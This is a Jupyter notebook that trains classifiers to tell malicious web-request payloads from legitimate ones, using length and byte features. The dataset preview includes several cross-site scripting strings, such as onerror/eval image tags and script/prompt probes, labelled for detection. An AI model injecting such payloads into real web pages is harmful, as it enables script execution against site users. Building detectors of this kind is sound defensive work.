{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Data Analysis\n",
    "This is the main notebook performing all feature engineering, model selection, training, evaluation etc.  \n",
    "The different steps are:\n",
    " - Step1 - import dependencies\n",
    " - Step2 - load payloads into memory\n",
    " - Step3A - Feature engineering custom features\n",
    " - Step3B - Feature engineering bag-of-words\n",
    " - Step3C - Feature space visualization\n",
    " - Step4 - Model selection\n",
    " - (Step4B - Load pre-trained classifiers)\n",
    " - Step5 - Visualization\n",
    " - Step6 - Website integration extract"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Step1\n",
    "import dependencies"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [],
   "source": [
    "%matplotlib inline\n",
    "\n",
    "import pandas as pd\n",
    "import numpy as np\n",
    "import pickle\n",
    "import matplotlib.pyplot as plt\n",
    "import seaborn\n",
    "import string\n",
    "from IPython.display import display\n",
    "from sklearn.feature_extraction.text import CountVectorizer\n",
    "from sklearn.feature_extraction.text import TfidfVectorizer\n",
    "from sklearn.model_selection import train_test_split\n",
    "from sklearn.model_selection import RandomizedSearchCV\n",
    "from sklearn.model_selection import learning_curve\n",
    "from sklearn.decomposition import TruncatedSVD\n",
    "from sklearn.feature_selection import SelectKBest\n",
    "from sklearn.feature_selection import chi2\n",
    "\n",
    "from sklearn.ensemble import RandomForestClassifier\n",
    "from sklearn.linear_model import LogisticRegression\n",
    "from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\n",
    "from sklearn.svm import SVC\n",
    "from sklearn.gaussian_process import GaussianProcessClassifier\n",
    "from sklearn.neural_network import MLPClassifier\n",
    "from sklearn.naive_bayes import MultinomialNB\n",
    "from sklearn.ensemble import AdaBoostClassifier\n",
    "from sklearn.linear_model import SGDClassifier\n",
    "from sklearn.neighbors import NearestNeighbors\n",
    "from sklearn.neighbors.nearest_centroid import NearestCentroid\n",
    "from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\n",
    "from sklearn.tree import DecisionTreeClassifier\n",
    "\n",
    "\n",
    "import sklearn.gaussian_process.kernels as kernels\n",
    "\n",
    "from sklearn.cross_validation import ShuffleSplit\n",
    "from sklearn.cross_validation import KFold\n",
    "from sklearn.pipeline import Pipeline\n",
    "from sklearn.metrics import confusion_matrix\n",
    "from sklearn.metrics import roc_curve\n",
    "from sklearn.metrics import roc_auc_score\n",
    "\n",
    "from scipy.stats import expon"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Step2\n",
    "load the payloads into memory"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>34846</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>06173</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>09199</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>C%2F+Pu%F1onrostro+S%2FN%2C+</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>85nefici0r3o</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>10</th>\n",
       "      <td>harping</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>11</th>\n",
       "      <td>due</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>12</th>\n",
       "      <td>'&gt;&lt;IMG ONERROR=”VBS:MSGBOX 1” SRC=A&gt;</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>13</th>\n",
       "      <td>Yonik</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>14</th>\n",
       "      <td>&lt;ScRipT 5-0*3+9/3=&gt;prompt(1)&lt;/ScRipT giveanswe...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>15</th>\n",
       "      <td>4578401748982547</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>16</th>\n",
       "      <td>larynx</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>17</th>\n",
       "      <td>M%E1laga</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>18</th>\n",
       "      <td>Hattie</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>19</th>\n",
       "      <td>http%3A%2F%2Ffriedelcraft.blogspot.com%2F</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>20</th>\n",
       "      <td>dunlap-leaud%40videospornocaseros.ye</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>21</th>\n",
       "      <td>Woodbury</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>22</th>\n",
       "      <td>piwkowsk</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>23</th>\n",
       "      <td>49860</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>24</th>\n",
       "      <td>2457099183182823</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>25</th>\n",
       "      <td>17spichar</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>26</th>\n",
       "      <td>&amp;#62</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>27</th>\n",
       "      <td>came</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>28</th>\n",
       "      <td>3Cscript%3Ealert(1)%3C%2Fscript%3E</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>29</th>\n",
       "      <td>&lt;img src=x:alert(alt) onerror=eval(src) alt=0&gt;</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "5                                                  34846           0.0   \n",
       "6                                                  06173           0.0   \n",
       "7                                                  09199           0.0   \n",
       "8                           C%2F+Pu%F1onrostro+S%2FN%2C+           0.0   \n",
       "9                                           85nefici0r3o           0.0   \n",
       "10                                               harping           0.0   \n",
       "11                                                   due           0.0   \n",
       "12                  '><IMG ONERROR=”VBS:MSGBOX 1” SRC=A>           1.0   \n",
       "13                                                 Yonik           0.0   \n",
       "14     <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswe...           1.0   \n",
       "15                                      4578401748982547           0.0   \n",
       "16                                                larynx           0.0   \n",
       "17                                              M%E1laga           0.0   \n",
       "18                                                Hattie           0.0   \n",
       "19             http%3A%2F%2Ffriedelcraft.blogspot.com%2F           0.0   \n",
       "20                  dunlap-leaud%40videospornocaseros.ye           0.0   \n",
       "21                                              Woodbury           0.0   \n",
       "22                                              piwkowsk           0.0   \n",
       "23                                                 49860           0.0   \n",
       "24                                      2457099183182823           0.0   \n",
       "25                                             17spichar           0.0   \n",
       "26                                                  &#62           1.0   \n",
       "27                                                  came           0.0   \n",
       "28                    3Cscript%3Ealert(1)%3C%2Fscript%3E           1.0   \n",
       "29        <img src=x:alert(alt) onerror=eval(src) alt=0>           1.0   \n",
       "\n",
       "      injection_type  \n",
       "index                 \n",
       "0                XSS  \n",
       "1              LEGAL  \n",
       "2              LEGAL  \n",
       "3              LEGAL  \n",
       "4              LEGAL  \n",
       "5              LEGAL  \n",
       "6              LEGAL  \n",
       "7              LEGAL  \n",
       "8              LEGAL  \n",
       "9              LEGAL  \n",
       "10             LEGAL  \n",
       "11             LEGAL  \n",
       "12               XSS  \n",
       "13             LEGAL  \n",
       "14               XSS  \n",
       "15             LEGAL  \n",
       "16             LEGAL  \n",
       "17             LEGAL  \n",
       "18             LEGAL  \n",
       "19             LEGAL  \n",
       "20             LEGAL  \n",
       "21             LEGAL  \n",
       "22             LEGAL  \n",
       "23             LEGAL  \n",
       "24             LEGAL  \n",
       "25             LEGAL  \n",
       "26               XSS  \n",
       "27             LEGAL  \n",
       "28               XSS  \n",
       "29               XSS  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "payloads = pd.read_csv(\"data/payloads.csv\",index_col='index')\n",
    "display(payloads.head(30))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Step3A - feature engineering custom features  \n",
    "We will create our own feature space with features that might be important for this task, this includes:\n",
    " - length of payload\n",
    " - number of non-printable characters in payload\n",
    " - number of punctuation characters in payload\n",
    " - the minimum byte value of payload\n",
    " - the maximum byte value of payload\n",
    " - the mean byte value of payload\n",
    " - the standard deviation of payload byte values\n",
    " - number of distinct bytes in payload\n",
    " - number of SQL keywords in payload\n",
    " - number of javascript keywords in payload"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def plot_feature_distribution(features):\n",
    "    print('Properties of feature: ' + features.name)\n",
    "    print(features.describe())\n",
    "    f, ax = plt.subplots(1, figsize=(10, 6))\n",
    "    ax.hist(features, bins=features.max()-features.min()+1, normed=1)\n",
    "    ax.set_xlabel('value')\n",
    "    ax.set_ylabel('fraction')\n",
    "    \n",
    "    plt.show()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>payload</th>\n",
       "      <th>is_malicious</th>\n",
       "      <th>injection_type</th>\n",
       "      <th>length</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>index</th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>&lt;object classid=\"clsid:...\" codebase=\"javascri...</td>\n",
       "      <td>1.0</td>\n",
       "      <td>XSS</td>\n",
       "      <td>60</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>mc_6081_149</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>11</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>shines</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>6</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>revulsion</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>9</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>3857146085955889</td>\n",
       "      <td>0.0</td>\n",
       "      <td>LEGAL</td>\n",
       "      <td>16</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                 payload  is_malicious  \\\n",
       "index                                                                    \n",
       "0      <object classid=\"clsid:...\" codebase=\"javascri...           1.0   \n",
       "1                                            mc_6081_149           0.0   \n",
       "2                                                 shines           0.0   \n",
       "3                                              revulsion           0.0   \n",
       "4                                       3857146085955889           0.0   \n",
       "\n",
       "      injection_type  length  \n",
       "index                         \n",
       "0                XSS      60  \n",
       "1              LEGAL      11  \n",
       "2              LEGAL       6  \n",
       "3              LEGAL       9  \n",
       "4              LEGAL      16  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Properties of feature: length\n",
      "count    110357.000000\n",
      "mean         16.559638\n",
      "std          32.108637\n",
      "min           1.000000\n",
      "25%           6.000000\n",
      "50%           9.000000\n",
      "75%          14.000000\n",
      "max         974.000000\n",
      "Name: length, dtype: float64\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAmUAAAFyCAYAAAC0tK2ZAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAF0dJREFUeJzt3X+wZ3V93/HXLpcfIgtZxqutMzbUFt+lnQajGMEg2iSo\ncUSJk8SGSdO4IiWjxlFbg0ZI6uiEtCJTtdSI3fojcaaooYqtkB/EVkCqcdIZksA7s6mTzOCk2dEF\nFhEQ2P7x/a5+WffevQt7uB/2Ph4zDpzzuef7/cBHdp97zvd7zqY9e/YEAID1tXm9JwAAgCgDABiC\nKAMAGIAoAwAYgCgDABiAKAMAGMDSek/g0dq5c/fk9/TYuvXY7Np1z9RvwyNkfcZmfcZmfcZnjcZ2\nsOuzvLxl00pjzpStwdLSEes9BVZhfcZmfcZmfcZnjcZ2KNdHlAEADECUAQAMQJQBAAxAlAEADECU\nAQAMQJQBAAxAlAEADECUAQAMQJQBAAxAlAEADECUAQAMQJQBAAxAlAEADECUHaRtl16/3lMAAA5D\nogwAYACi7BFwtgwAONREGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkA\nwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwACWpnrhqtqc5Iok\npya5L8n53b1jn585NsnvJ3lNd9+2lmMAAA5HU54pOzfJMd19RpKLkly2OFhVpyX5X0n+wVqPAQA4\nXE12pizJmUmuTZLuvnkeYYuOTvJTST5+EMd8n61bj83S0hGHZsarWF7esuo268t6jM36jM36jM8a\nje1Qrc+UUXZ8kjsXth+sqqXufiBJuvvGJKmqNR+zP7t23XPoZryC5eUt2blz98P27bvN+tnf+jAO\n6zM26zM+azS2g12f1QJuysuXdyVZfOfNq8XVozgGAOBxb8oouzHJS5Okqk5PcstExwAAPO5Nefny\n6iRnV9VNSTYleXVVnZfkuO7+0FqPmXB+AADDmCzKuvuhJBfus/u2/fzcCw9wzDC2XXr9ek8BADhM\nuXksAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABE\nGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkA\nwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAA\nRBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZAMAARBkAwABEGQDAAEQZ\nAMAARBkAwABEGQDAAEQZAMAAlqZ64aranOSKJKcmuS/J+d29Y2H8nCSXJHkgyfbuvrKqjkzy0SQn\nJXkwyWu7+7ap5ggAMIopz5Sdm+SY7j4jyUVJLts7MI+vy5O8KMkLklxQVU9J8tIkS939vCTvTPLu\nCecHADCMKaPszCTXJkl335zktIWxU5Ls6O5d3X1/khuSnJXkL5Iszc+yHZ/kOxPODwBgGJNdvsws\nqu5c2H6wqpa6+4H9jO1OckKSuzO7dHlbkicledmB3mTr1mOztHTEoZrzipaXt6y6zfqyHmOzPmOz\nPuOzRmM7VOszZZTdlWRxlpvnQba/sS1J7kjypiTXdffbquppSa6vqn/a3feu9Ca7dt1ziKf9/ZaX\nt2Tnzt0P27fvNutnf+vDOKzP2KzP+KzR2A52fVYLuCkvX96Y2WfEUlWnJ7llYezWJCdX1YlVdVRm\nly6/lGRXvncG7ZtJjkwy/WkwAIB1NuWZsquTnF1VNyXZlOTVVXVekuO6+0NV9eYk12UWhtu7+/aq\nujzJ9qr6YpKjkry9u7814RwBAIYwWZR190NJLtxn920L49ckuWafY+5O8rNTzQkAYFRuHgsAMABR\nBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYA\nMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAA\nUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEG\nADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMABRBgAwAFEGADAAUQYAMIClA/1A\nVf1gktcnOTHJpr37u3vbhPMCANhQDhhlSa5K8sX5//ZMOx0AgI1pLVF2ZHf/68lnAgCwga0lym6o\nqnOSXNfd96/1hatqc5Irkpya5L4k53f3joXxc5JckuSBJNu7+8r5/rcleXmSo5Jc0d3/ea3vCQDw\n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\nUwZsBB9P8s+TpKpOTvKEJG9Icn53PyvJa5Jcs